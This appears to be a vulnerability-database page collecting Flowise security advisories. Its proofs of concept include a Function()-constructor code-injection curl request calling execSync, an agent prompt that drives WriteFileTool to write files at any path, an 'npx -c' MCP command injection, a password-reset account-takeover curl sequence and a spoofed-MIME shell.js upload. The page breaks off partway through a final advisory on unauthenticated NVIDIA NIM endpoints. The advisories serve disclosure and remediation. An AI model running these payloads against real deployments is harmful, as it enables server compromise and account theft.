Where
-Infinity
0
Severity
10
Code Injection
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Description

Cause of the Vulnerability

The CustomMCP node allows users to input configuration settings for connecting to an external MCP (Model Context Protocol) server. This node parses the user-provided mcpServerConfig string to build the MCP server configuration. However, during this process, it executes JavaScript code without any security validation.

Specifically, inside the convertToValidJSONString function, user input is directly passed to the Function() constructor, which evaluates and executes the input as JavaScript code. Since this runs with full Node.js runtime privileges, it can access dangerous modules such as childprocess and fs.

Vulnerability Flow

1. User Input Received: Input is provided via the API endpoint /api/v1/node-load-method/customMCP through the mcpServerConfig parameter. 2. Variable Substitution: The substituteVariablesInString function replaces template variables like $vars.xxx, but no security filtering is applied during this step. 3. Dangerous Code Execution: The convertToValidJSONString function executes the input using Function('return ' + inputString)(). If the inputString contains malicious code, it gets executed in the global Node.js context, allowing actions such as command execution and file system access.

Taint Flow

- Taint 01: Route Registration index.ts (Line 5)

- Taint 02: Controller index.ts (Line 57–78)

- Taint 03: Service index.ts (Line 91–94)

- Taint 04: CustomMCP Node Entry Point CustomMCP.ts (Line 132)

- Taint 05: Variable Substitution CustomMCP.ts (Line 220)

- Taint 06: Dangerous Constructor Execution CustomMCP.ts (Line 262–270)

Proof of Concept (PoC)

bash curl -X POST http://localhost:3000/api/v1/node-load-method/customMCP \ -H "Content-Type: application/json" \ -H "Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q" \ -d '{ "loadMethod": "listActions", "inputs": { "mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"childprocess\");cp.execSync(\"echo !!RCE-OK!! >/tmp/RCE.txt\");return 1;})()})" } }' <img width="1907" height="958" alt="image" src="https://github.com/user-attachments/assets/78b50eb1-67af-4c8b-97ea-7e2c05426962" />

When executed, this creates a file /tmp/RCE.txt on the server, confirming command execution.

Impact

Complete System Takeover and Infrastructure Threat

This vulnerability allows attackers to execute arbitrary JavaScript code on the Flowise server, leading to:

- Full system compromise - File system access - Command execution - Sensitive data exfiltration

As only an API token is required, this poses an extreme security risk to business continuity and customer data.

1 / 2
Source: GitHub
First published (updated )
Severity
10
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Summary

The WriteFileTool in Flowise does not restrict the file path for reading, allowing authenticated attackers to exploit this vulnerability to write arbitrary files to any path in the file system, potentially leading to remote command execution.

Details

Flowise supports providing WriteFileTool for large models, which is used to write files to the server's file system. The implementation of this tool is located at packages/components/nodes/tools/WriteFile/WriteFile.ts.

/ Class for writing data to files on the disk. Extends the StructuredTool class. / export class WriteFileTool extends StructuredTool { static lcname() { return 'WriteFileTool' }

schema = z.object({ filepath: z.string().describe('name of file'), text: z.string().describe('text to write to file') }) as any

name = 'writefile'

description = 'Write file from disk'

store: BaseFileStore

constructor({ store, ...rest }: WriteFileParams) { super(rest)

this.store = store }

async call({ filepath, text }: z.infer<typeof this.schema>) { await this.store.writeFile(filepath, text) return 'File written to successfully.' } }

This tool directly uses the filepath parameter passed to it without verifying whether the path belongs to Flowise's working directory. Authenticated attackers can exploit this vulnerability to write files with arbitrary content to any path on the server.

There are numerous ways to achieve remote command execution through arbitrary file write vulnerabilities, which will not be elaborated here. For example, attackers could write their own public key to ~/.ssh/authorizedkeys to gain remote SSH access, or overwrite /etc/ld.so.preload to hijack dynamic libraries and execute arbitrary code. Flowise's historical vulnerability information (https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-8vvx-qvq9-5948) also describes steps to achieve remote command execution by overwriting the start command in package.json.

PoC

This file writing vulnerability has been verified to exist in the latest Flowise Docker image (https://hub.docker.com/layers/flowiseai/flowise/latest/images/sha256-26300377397818a451e0710389eb77615256b0f3ecc895194850ab35dda3ae7b). The reproduction steps are as follows:

1. Pull the Flowise Docker image

docker pull flowiseai/flowise

2. Start the Flowise service

docker run -d --name flowise -p 3000:3000 flowise

3. Access the Flowise service at server ip:3000 in your browser and register an account 4. Save the following content as agent.json

{ "nodes": [ { "id": "startAgentflow0", "type": "agentFlow", "position": { "x": -203, "y": 37 }, "data": { "id": "startAgentflow0", "label": "Start", "version": 1.1, "name": "startAgentflow", "type": "Start", "color": "#7EE787", "hideInput": true, "baseClasses": [ "Start" ], "category": "Agent Flows", "description": "Starting point of the agentflow", "inputParams": [ { "label": "Input Type", "name": "startInputType", "type": "options", "options": [ { "label": "Chat Input", "name": "chatInput", "description": "Start the conversation with chat input" }, { "label": "Form Input", "name": "formInput", "description": "Start the workflow with form inputs" } ], "default": "chatInput", "id": "startAgentflow0-input-startInputType-options", "display": true }, { "label": "Form Title", "name": "formTitle", "type": "string", "placeholder": "Please Fill Out The Form", "show": { "startInputType": "formInput" }, "id": "startAgentflow0-input-formTitle-string", "display": false }, { "label": "Form Description", "name": "formDescription", "type": "string", "placeholder": "Complete all fields below to continue", "show": { "startInputType": "formInput" }, "id": "startAgentflow0-input-formDescription-string", "display": false }, { "label": "Form Input Types", "name": "formInputTypes", "description": "Specify the type of form input", "type": "array", "show": { "startInputType": "formInput" }, "array": [ { "label": "Type", "name": "type", "type": "options", "options": [ { "label": "String", "name": "string" }, { "label": "Number", "name": "number" }, { "label": "Boolean", "name": "boolean" }, { "label": "Options", "name": "options" } ], "default": "string" }, { "label": "Label", "name": "label", "type": "string", "placeholder": "Label for the input" }, { "label": "Variable Name", "name": "name", "type": "string", "placeholder": "Variable name for the input (must be camel case)", "description": "Variable name must be camel case. For example: firstName, lastName, etc." }, { "label": "Add Options", "name": "addOptions", "type": "array", "show": { "formInputTypes[$index].type": "options" }, "array": [ { "label": "Option", "name": "option", "type": "string" } ] } ], "id": "startAgentflow0-input-formInputTypes-array", "display": false }, { "label": "Ephemeral Memory", "name": "startEphemeralMemory", "type": "boolean", "description": "Start fresh for every execution without past chat history", "optional": true, "id": "startAgentflow0-input-startEphemeralMemory-boolean", "display": true }, { "label": "Flow State", "name": "startState", "description": "Runtime state during the execution of the workflow", "type": "array", "optional": true, "array": [ { "label": "Key", "name": "key", "type": "string", "placeholder": "Foo" }, { "label": "Value", "name": "value", "type": "string", "placeholder": "Bar", "optional": true } ], "id": "startAgentflow0-input-startState-array", "display": true }, { "label": "Persist State", "name": "startPersistState", "type": "boolean", "description": "Persist the state in the same session", "optional": true, "id": "startAgentflow0-input-startPersistState-boolean", "display": true } ], "inputAnchors": [], "inputs": { "startInputType": "chatInput", "formTitle": "", "formDescription": "", "formInputTypes": "", "startEphemeralMemory": "", "startState": "", "startPersistState": "" }, "outputAnchors": [ { "id": "startAgentflow0-output-startAgentflow", "label": "Start", "name": "startAgentflow" } ], "outputs": {}, "selected": false }, "width": 103, "height": 66, "selected": false, "positionAbsolute": { "x": -203, "y": 37 }, "dragging": false }, { "id": "directReplyAgentflow0", "position": { "x": 209, "y": 30.25 }, "data": { "id": "directReplyAgentflow0", "label": "Direct Reply 0", "version": 1, "name": "directReplyAgentflow", "type": "DirectReply", "color": "#4DDBBB", "hideOutput": true, "baseClasses": [ "DirectReply" ], "category": "Agent Flows", "description": "Directly reply to the user with a message", "inputParams": [ { "label": "Message", "name": "directReplyMessage", "type": "string", "rows": 4, "acceptVariable": true, "id": "directReplyAgentflow0-input-directReplyMessage-string", "display": true } ], "inputAnchors": [], "inputs": { "directReplyMessage": "", "undefined": "" }, "outputAnchors": [], "outputs": {}, "selected": false }, "type": "agentFlow", "width": 163, "height": 66, "selected": false, "positionAbsolute": { "x": 209, "y": 30.25 }, "dragging": false }, { "id": "agentAgentflow0", "position": { "x": -63.5, "y": 89.125 }, "data": { "id": "agentAgentflow0", "label": "Agent 0", "version": 2, "name": "agentAgentflow", "type": "Agent", "color": "#4DD0E1", "baseClasses": [ "Agent" ], "category": "Agent Flows", "description": "Dynamically choose and utilize tools during runtime, enabling multi-step reasoning", "inputParams": [ { "label": "Model", "name": "agentModel", "type": "asyncOptions", "loadMethod": "listModels", "loadConfig": true, "id": "agentAgentflow0-input-agentModel-asyncOptions", "display": true }, { "label": "Messages", "name": "agentMessages", "type": "array", "optional": true, "acceptVariable": true, "array": [ { "label": "Role", "name": "role", "type": "options", "options": [ { "label": "System", "name": "system" }, { "label": "Assistant", "name": "assistant" }, { "label": "Developer", "name": "developer" }, { "label": "User", "name": "user" } ] }, { "label": "Content", "name": "content", "type": "string", "acceptVariable": true, "generateInstruction": true, "rows": 4 } ], "id": "agentAgentflow0-input-agentMessages-array", "display": true }, { "label": "OpenAI Built-in Tools", "name": "agentToolsBuiltInOpenAI", "type": "multiOptions", "optional": true, "options": [ { "label": "Web Search", "name": "websearchpreview", "description": "Search the web for the latest information" }, { "label": "Code Interpreter", "name": "codeinterpreter", "description": "Write and run Python code in a sandboxed environment" }, { "label": "Image Generation", "name": "imagegeneration", "description": "Generate images based on a text prompt" } ], "show": { "agentModel": "chatOpenAI" }, "id": "agentAgentflow0-input-agentToolsBuiltInOpenAI-multiOptions", "display": false }, { "label": "Tools", "name": "agentTools", "type": "array", "optional": true, "array": [ { "label": "Tool", "name": "agentSelectedTool", "type": "asyncOptions", "loadMethod": "listTools", "loadConfig": true }, { "label": "Require Human Input", "name": "agentSelectedToolRequiresHumanInput", "type": "boolean", "optional": true } ], "id": "agentAgentflow0-input-agentTools-array", "display": true }, { "label": "Knowledge (Document Stores)", "name": "agentKnowledgeDocumentStores", "type": "array", "description": "Give your agent context about different document sources. Document stores must be upserted in advance.", "array": [ { "label": "Document Store", "name": "documentStore", "type": "asyncOptions", "loadMethod": "listStores" }, { "label": "Describe Knowledge", "name": "docStoreDescription", "type": "string", "generateDocStoreDescription": true, "placeholder": "Describe what the knowledge base is about, this is useful for the AI to know when and how to search for correct information", "rows": 4 }, { "label": "Return Source Documents", "name": "returnSourceDocuments", "type": "boolean", "optional": true } ], "optional": true, "id": "agentAgentflow0-input-agentKnowledgeDocumentStores-array", "display": true }, { "label": "Knowledge (Vector Embeddings)", "name": "agentKnowledgeVSEmbeddings", "type": "array", "description": "Give your agent context about different document sources from existing vector stores and embeddings", "array": [ { "label": "Vector Store", "name": "vectorStore", "type": "asyncOptions", "loadMethod": "listVectorStores", "loadConfig": true }, { "label": "Embedding Model", "name": "embeddingModel", "type": "asyncOptions", "loadMethod": "listEmbeddings", "loadConfig": true }, { "label": "Knowledge Name", "name": "knowledgeName", "type": "string", "placeholder": "A short name for the knowledge base, this is useful for the AI to know when and how to search for correct information" }, { "label": "Describe Knowledge", "name": "knowledgeDescription", "type": "string", "placeholder": "Describe what the knowledge base is about, this is useful for the AI to know when and how to search for correct information", "rows": 4 }, { "label": "Return Source Documents", "name": "returnSourceDocuments", "type": "boolean", "optional": true } ], "optional": true, "id": "agentAgentflow0-input-agentKnowledgeVSEmbeddings-array", "display": true }, { "label": "Enable Memory", "name": "agentEnableMemory", "type": "boolean", "description": "Enable memory for the conversation thread", "default": true, "optional": true, "id": "agentAgentflow0-input-agentEnableMemory-boolean", "display": true }, { "label": "Memory Type", "name": "agentMemoryType", "type": "options", "options": [ { "label": "All Messages", "name": "allMessages", "description": "Retrieve all messages from the conversation" }, { "label": "Window Size", "name": "windowSize", "description": "Uses a fixed window size to surface the last N messages" }, { "label": "Conversation Summary", "name": "conversationSummary", "description": "Summarizes the whole conversation" }, { "label": "Conversation Summary Buffer", "name": "conversationSummaryBuffer", "description": "Summarize conversations once token limit is reached. Default to 2000" } ], "optional": true, "default": "allMessages", "show": { "agentEnableMemory": true }, "id": "agentAgentflow0-input-agentMemoryType-options", "display": false }, { "label": "Window Size", "name": "agentMemoryWindowSize", "type": "number", "default": "20", "description": "Uses a fixed window size to surface the last N messages", "show": { "agentMemoryType": "windowSize" }, "id": "agentAgentflow0-input-agentMemoryWindowSize-number", "display": false }, { "label": "Max Token Limit", "name": "agentMemoryMaxTokenLimit", "type": "number", "default": "2000", "description": "Summarize conversations once token limit is reached. Default to 2000", "show": { "agentMemoryType": "conversationSummaryBuffer" }, "id": "agentAgentflow0-input-agentMemoryMaxTokenLimit-number", "display": false }, { "label": "Input Message", "name": "agentUserMessage", "type": "string", "description": "Add an input message as user message at the end of the conversation", "rows": 4, "optional": true, "acceptVariable": true, "show": { "agentEnableMemory": true }, "id": "agentAgentflow0-input-agentUserMessage-string", "display": false }, { "label": "Return Response As", "name": "agentReturnResponseAs", "type": "options", "options": [ { "label": "User Message", "name": "userMessage" }, { "label": "Assistant Message", "name": "assistantMessage" } ], "default": "userMessage", "id": "agentAgentflow0-input-agentReturnResponseAs-options", "display": true }, { "label": "Update Flow State", "name": "agentUpdateState", "description": "Update runtime state during the execution of the workflow", "type": "array", "optional": true, "acceptVariable": true, "array": [ { "label": "Key", "name": "key", "type": "asyncOptions", "loadMethod": "listRuntimeStateKeys", "freeSolo": true }, { "label": "Value", "name": "value", "type": "string", "acceptVariable": true, "acceptNodeOutputAsVariable": true } ], "id": "agentAgentflow0-input-agentUpdateState-array", "display": true } ], "inputAnchors": [], "inputs": { "agentModel": "chatOpenRouter", "agentMessages": [ { "role": "", "content": "<p><span class=\"variable\" data-type=\"mention\" data-id=\"question\" data-label=\"question\">{{ question }}</span> </p>" } ], "agentTools": [ { "agentSelectedTool": "readFile", "agentSelectedToolRequiresHumanInput": "", "agentSelectedToolConfig": { "basePath": "/", "agentSelectedTool": "readFile" } }, { "agentSelectedTool": "writeFile", "agentSelectedToolRequiresHumanInput": "", "agentSelectedToolConfig": { "basePath": "/", "agentSelectedTool": "writeFile" } } ], "agentKnowledgeDocumentStores": "", "agentKnowledgeVSEmbeddings": "", "agentEnableMemory": false, "agentReturnResponseAs": "userMessage", "agentUpdateState": "", "undefined": "", "agentModelConfig": { "cache": "", "modelName": "qwen/qwen3-30b-a3b", "temperature": 0.9, "streaming": true, "maxTokens": "", "topP": "", "frequencyPenalty": "", "presencePenalty": "", "timeout": "", "basepath": "https://openrouter.ai/api/v1", "baseOptions": "", "agentModel": "chatOpenRouter" } }, "outputAnchors": [ { "id": "agentAgentflow0-output-agentAgentflow", "label": "Agent", "name": "agentAgentflow" } ], "outputs": {}, "selected": false }, "type": "agentFlow", "width": 232, "height": 100, "selected": false, "positionAbsolute": { "x": -63.5, "y": 89.125 }, "dragging": false } ], "edges": [ { "source": "startAgentflow0", "sourceHandle": "startAgentflow0-output-startAgentflow", "target": "agentAgentflow0", "targetHandle": "agentAgentflow0", "data": { "sourceColor": "#7EE787", "targetColor": "#4DD0E1", "isHumanInput": false }, "type": "agentFlow", "id": "startAgentflow0-startAgentflow0-output-startAgentflow-agentAgentflow0-agentAgentflow0" }, { "source": "agentAgentflow0", "sourceHandle": "agentAgentflow0-output-agentAgentflow", "target": "directReplyAgentflow0", "targetHandle": "directReplyAgentflow0", "data": { "sourceColor": "#4DD0E1", "targetColor": "#4DDBBB", "isHumanInput": false }, "type": "agentFlow", "id": "agentAgentflow0-agentAgentflow0-output-agentAgentflow-directReplyAgentflow0-directReplyAgentflow0" } ] } 5. Click on "AgentFlows" on the left, then click "Add New" on the right to enter the Agent creation page. Click the gear button in the upper right corner, select "Load Agents," choose the agent.json file, and after successful import, you will see three connected nodes. 6. Double-click the middle "Agent 0" node, click "ChatOpenRouter Parameters," then "Connect Credential," and select "Create New." Enter a valid OpenRouter API Key. Alternatively, click "Model" to choose another LLM provider. Once done, click the save button in the upper right corner. 7. After saving, click the purple chat button in the upper right corner and enter: Write "hacked" to /tmp/hacked.txt. 8. After the call is completed, log in to the container via docker exec -it [container id] sh, and you can see that the file has been successfully written.

Impact

Authenticated attackers can exploit this vulnerability to write arbitrary files to any path on the server, ultimately achieving remote command execution.

Credit

This vulnerability was discovered by:

- XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulinerabity Discovery Engine

If you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com.

1 / 2
Source: GitHub
First published (updated )
Severity
10
OS Command Injection
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Summary Due to unsafe serialization of stdio commands in the MCP adapter, an authenticated attacker can add an MCP stdio server with an arbitrary command, achieving command execution.

Details The vulnerability lies in a bug in the input sanitization from the “Custom MCP” configuration in http://localhost:3000/canvas - where any user can add a new MCP, when doing so - adding a new MCP using stdio, the user can add any command, even though your code have input sanitization checks such as validateCommandInjection and validateArgsForLocalFileAccess, and a list of predefined specific safe commands - these commands, for example "npx" can be combined with code execution arguments ("-c touch /tmp/pwn") that enable direct code execution on the underlying OS.

https://github.com/FlowiseAI/Flowise/blob/d848baeb6bd9737a1e7fc912349c45fbdcc7bb38/packages/components/nodes/tools/MCP/core.ts#L223

https://github.com/FlowiseAI/Flowise/blob/d848baeb6bd9737a1e7fc912349c45fbdcc7bb38/packages/components/nodes/tools/MCP/core.ts#L177

https://github.com/FlowiseAI/Flowise/blob/d848baeb6bd9737a1e7fc912349c45fbdcc7bb38/packages/components/nodes/tools/MCP/core.ts#L269

PoC Create a new Custom MCP and add an "npx -c" command. { "command": "npx", "args": [ "-c", "touch /tmp/pwn" ] } <img width="358" height="628" alt="Screenshot 2026-01-12 at 18 32 37" src="https://github.com/user-attachments/assets/d95c1ae2-23a7-4afe-b586-722003baf50e" />

Impact This is an authenticated arbitrary command execution due to unsanitized input, even though the input is sanitized, more protections should be added in order to close ways for attackers to execute arbitrary commands.

1 / 2
Source: GitHub
First published (updated )
Severity
10
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Flowise through 2.2.7 fails to sanitize path segments in the document-store loader endpoint, allowing unauthenticated attackers to write files outside the storage directory. Attackers can use parent-directory sequences to escape the storage directory and overwrite application files loaded at boot for remote code execution.

First published (updated )
Severity
9.8
EPSS
35.82%
Malicious File Upload
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

FlowiseAI Flowise v2.2.6 was discovered to contain an arbitrary file upload vulnerability in /api/v1/attachments.

First published (updated )
Severity
9.8
EPSS
75.86%
OS Command Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

The Custom MCPs feature is designed to execute OS commands, for instance, using tools like npx to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, in Flowise versions before 3.0.1 the default installation operates without authentication unless explicitly configured. This combination allows unauthenticated network attackers to execute unsandboxed OS commands.

First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

The forgot-password endpoint in Flowise returns sensitive information including a valid password reset tempToken without authentication or verification. This enables any attacker to generate a reset token for arbitrary users and directly reset their password, leading to a complete account takeover (ATO).

This vulnerability applies to both the cloud service (cloud.flowiseai.com) and self-hosted/local Flowise deployments that expose the same API.

CVSS v3.1 Base Score: 9.8 (Critical) Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

---

Details

The endpoint /api/v1/account/forgot-password accepts an email address as input. Instead of only sending a reset email, the API responds directly with sensitive user details, including:

User ID, name, email, hashed credential, status, timestamps. A valid tempToken and its expiry, which is intended for password reset. This tempToken can then be reused immediately in the /api/v1/account/reset-password endpoint to reset the password of the targeted account without any email verification or user interaction. Exploitation requires only the victim’s email address, which is often guessable or discoverable. Because the vulnerable endpoints exist in both Flowise Cloud and local/self-hosted deployments, any exposed instance is vulnerable to account takeover.

This effectively allows any unauthenticated attacker to take over arbitrary accounts (including admin or privileged accounts) by requesting a reset for their email.

---

PoC

1. Request a reset token for the victim

bash curl -i -X POST https://<target>/api/v1/account/forgot-password \ -H "Content-Type: application/json" \ -d '{"user":{"email":"<victim@example.com>"}}'

Response (201 Created):

json { "user": { "id": "<redacted-uuid>", "name": "<redacted>", "email": "<victim@example.com>", "credential": "<redacted-hash>", "tempToken": "<redacted-tempToken>", "tokenExpiry": "2025-08-19T13:00:33.834Z", "status": "active" } }

2. Use the exposed tempToken to reset the password

bash curl -i -X POST https://<target>/api/v1/account/reset-password \ -H "Content-Type: application/json" \ -d '{ "user":{ "email":"<victim@example.com>", "tempToken":"<redacted-tempToken>", "password":"NewSecurePassword123!" } }'

Expected Result: 200 OK The victim’s account password is reset, allowing full login.

---

Impact

Type: Authentication bypass / Insecure direct object exposure. Impact:

Any account (including administrator or high-value accounts) can be reset and taken over with only the email address. Applies to both Flowise Cloud and locally hosted/self-managed deployments. Leads to full account takeover, data exposure, impersonation, and possible control over organizational assets. High likelihood of exploitation since no prior access or user interaction is required.

---

Recommended Remediation

Do not return reset tokens or sensitive account details in API responses. Tokens must only be delivered securely via the registered email channel. Ensure forgot-password responds with a generic success message regardless of input, to avoid user enumeration. Require strong validation of the tempToken (e.g., single-use, short expiry, tied to request origin, validated against email delivery). Apply the same fixes to both cloud and self-hosted/local deployments. Log and monitor password reset requests for suspicious activity. Consider multi-factor verification for sensitive accounts.

Credit

---

⚠️ This is a Critical ATO vulnerability because it allows attackers to compromise any account with only knowledge of an email address, and it applies to all deployment models (cloud and local).

---

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
EPSS
0.13%
Malicious File Upload, XSS
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Vulnerability Description

---

Vulnerability Overview - The /api/v1/attachments/:chatflowId/:chatId endpoint is listed in WHITELISTURLS, allowing unauthenticated access to the file upload API. - While the server validates uploads based on the MIME types defined in chatbotConfig.fullFileUpload.allowedUploadFileTypes, it implicitly trusts the client-provided Content-Type header (file.mimetype) without verifying the file's actual content (magic bytes) or extension (file.originalname). - Consequently, an attacker can bypass this restriction by spoofing the Content-Type as a permitted type (e.g., application/pdf) while uploading malicious scripts or arbitrary files. Once uploaded via addArrayFilesToStorage, these files persist in backend storage (S3, GCS, or local disk). This vulnerability serves as a critical entry point that, when chained with other features like static hosting or file retrieval, can lead to Stored XSS, malicious file hosting, or Remote Code Execution (RCE).

Vulnerable Code

- Upload Route Definition https://github.com/FlowiseAI/Flowise/blob/d17c4394a238b49327b493c89feee45f3a20bb91/packages/server/src/routes/attachments/index.ts#L7-L10 tsx // CREATE router.post('/:chatflowId/:chatId', getMulterStorage().array('files'), attachmentsController.createAttachment) export default router - Mount /api/v1/attachments to the global router https://github.com/FlowiseAI/Flowise/blob/d17c4394a238b49327b493c89feee45f3a20bb91/packages/server/src/routes/index.ts#L72-L77 tsx const router = express.Router() router.use('/ping', pingRouter) router.use('/apikey', apikeyRouter) router.use('/assistants', assistantsRouter) router.use('/attachments', attachmentsRouter) - Include /api/v1/attachments in the WHITELISTURLS list https://github.com/FlowiseAI/Flowise/blob/d17c4394a238b49327b493c89feee45f3a20bb91/packages/server/src/utils/constants.ts#L6-L26 tsx export const WHITELISTURLS = [ '/api/v1/verify/apikey/', '/api/v1/chatflows/apikey/', '/api/v1/public-chatflows', '/api/v1/public-chatbotConfig', '/api/v1/public-executions', '/api/v1/prediction/', '/api/v1/vector/upsert/', '/api/v1/node-icon/', '/api/v1/components-credentials-icon/', '/api/v1/chatflows-streaming', '/api/v1/chatflows-uploads', '/api/v1/openai-assistants-file/download', '/api/v1/feedback', '/api/v1/leads', '/api/v1/get-upload-file', '/api/v1/ip', '/api/v1/ping', '/api/v1/version', '/api/v1/attachments', '/api/v1/metrics', - Bypass JWT validation if the URL is whitelisted https://github.com/FlowiseAI/Flowise/blob/d17c4394a238b49327b493c89feee45f3a20bb91/packages/server/src/index.ts#L213-L228 tsx const denylistURLs = process.env.DENYLISTURLS ? process.env.DENYLISTURLS.split(',') : [] const whitelistURLs = WHITELISTURLS.filter((url) => !denylistURLs.includes(url)) const URLCASEINSENSITIVEREGEX: RegExp = /\/api\/v1\//i const URLCASESENSITIVEREGEX: RegExp = /\/api\/v1\// await initializeJwtCookieMiddleware(this.app, this.identityManager) this.app.use(async (req, res, next) => { // Step 1: Check if the req path contains /api/v1 regardless of case if (URLCASEINSENSITIVEREGEX.test(req.path)) { // Step 2: Check if the req path is casesensitive if (URLCASESENSITIVEREGEX.test(req.path)) { // Step 3: Check if the req path is in the whitelist const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url)) if (isWhitelisted) { next() - Multer Configuration: Saves files without file type validation https://github.com/FlowiseAI/Flowise/blob/d17c4394a238b49327b493c89feee45f3a20bb91/packages/server/src/utils/index.ts#L1917-L1960 tsx export const getUploadPath = (): string => { return process.env.BLOBSTORAGEPATH ? path.join(process.env.BLOBSTORAGEPATH, 'uploads') : path.join(getUserHome(), '.flowise', 'uploads') } export function generateId() { return uuidv4() } export const getMulterStorage = () => { const storageType = process.env.STORAGETYPE ? process.env.STORAGETYPE : 'local' if (storageType === 's3') { const s3Client = getS3Config().s3Client const Bucket = getS3Config().Bucket const upload = multer({ storage: multerS3({ s3: s3Client, bucket: Bucket, metadata: function (req, file, cb) { cb(null, { fieldName: file.fieldname, originalName: file.originalname }) }, key: function (req, file, cb) { cb(null, ${generateId()}) } }) }) return upload } else if (storageType === 'gcs') { return multer({ storage: new MulterGoogleCloudStorage({ projectId: process.env.GOOGLECLOUDSTORAGEPROJID, bucket: process.env.GOOGLECLOUDSTORAGEBUCKETNAME, keyFilename: process.env.GOOGLECLOUDSTORAGECREDENTIAL, uniformBucketLevelAccess: Boolean(process.env.GOOGLECLOUDUNIFORMBUCKETACCESS) ?? true, destination: uploads/${generateId()} }) }) } else { return multer({ dest: getUploadPath() }) } } - Transfers uploaded files to storage without verification https://github.com/FlowiseAI/Flowise/blob/d17c4394a238b49327b493c89feee45f3a20bb91/packages/server/src/utils/createAttachment.ts#L124-L158 tsx const files = (req.files as Express.Multer.File[]) || [] const fileAttachments = [] if (files.length) { const isBase64 = req.body.base64 for (const file of files) { if (!allowedFileTypes.length) { throw new InternalFlowiseError( StatusCodes.BADREQUEST, File type '${file.mimetype}' is not allowed. Allowed types: ${allowedFileTypes.join(', ')} ) } // Validate file type against allowed types if (allowedFileTypes.length > 0 && !allowedFileTypes.includes(file.mimetype)) { throw new InternalFlowiseError( StatusCodes.BADREQUEST, File type '${file.mimetype}' is not allowed. Allowed types: ${allowedFileTypes.join(', ')} ) } await checkStorage(orgId, subscriptionId, appServer.usageCacheManager) const fileBuffer = await getFileFromUpload(file.path ?? file.key) const fileNames: string[] = [] // Address file name with special characters: https://github.com/expressjs/multer/issues/1104 file.originalname = Buffer.from(file.originalname, 'latin1').toString('utf8') const { path: storagePath, totalSize } = await addArrayFilesToStorage( file.mimetype, fileBuffer, file.originalname, fileNames, orgId, chatflowid, chatId )

PoC

---

PoC Description - Create a local file named shell.js containing arbitrary JavaScript code (or a malicious payload). - Send a multipart/form-data request to the /api/v1/attachments/891f64a2-a26f-4169-b333-905dc96c200a/:chatId endpoint without any authentication (login, session, or API keys). - During the upload, retain the filename as shell.js but spoof the Content-Type header as application/pdf. - This exploits the server's reliance solely on the client-provided file.mimetype, forcing it to process the malicious JS file as an allowed PDF, thereby confirming unauthenticated arbitrary file upload.

PoC

bash curl -X POST \ "http://localhost:3000/api/v1/attachments/891f64a2-a26f-4169-b333-905dc96c200a/$(uuidgen)" \ -F "files=@shell.js;type=application/pdf"

<img width="1916" height="1011" alt="image" src="https://github.com/user-attachments/assets/45679d95-00b9-4bee-9c94-7bd9403554d5" />

Impact

---

1. Root Cause The vulnerability stems from relying solely on the MIME type without cross-validating the file extension or actual content. This allows attackers to upload executable files (e.g., .js, .php) or malicious scripts (.html) by masquerading them as benign images or documents.

2. Key Attack Scenarios

- Server Compromise (RCE): An attacker uploads a Web Shell and triggers its execution on the server. Successful exploitation grants system privileges, allowing unauthorized access to internal data and full control over the server. - Client-Side Attack (Stored XSS): An attacker uploads files containing malicious scripts (e.g., HTML, SVG). When a victim views the file, the script executes within their browser, leading to session cookie theft and account takeover.

3. Impact This vulnerability is rated as High severity. The risk is particularly critical if the system utilizes shared storage (e.g., S3, GCS) or static hosting features, as the compromise could spread to the entire infrastructure and affect other tenants.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
EPSS
0.03%
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Missing Authentication on NVIDIA NIM Endpoints

Summary

The NVIDIA NIM router (/api/v1/nvidia-nim/) is whitelisted in the global authentication middleware, allowing unauthenticated access to privileged container management and token generation endpoints.

Vulnerability Details

| Field | Value | |-------|-------| | CWE | CWE-306: Missing Authentication for Critical Function | | Affected File | packages/server/src/utils/constants.ts | | Affected Line | Line 20 ('/api/v1/nvidia-nim' in WHITELISTURLS) | | CVSS 3.1 | 8.6 (High) |

Root Cause

In packages/server/src/utils/constants.ts, the NVIDIA NIM route is added to the authentication whitelist:

typescript export const WHITELISTURLS = [ // ... other URLs '/api/v1/nvidia-nim', // Line 20 - bypasses JWT/API-key validation // ... ]

This causes the global auth middleware to skip authentication checks for all endpoints under /api/v1/nvidia-nim/. None of the controller actions in packages/server/src/controllers/nvidia-nim/index.ts perform their own authentication checks.

Affected Endpoints

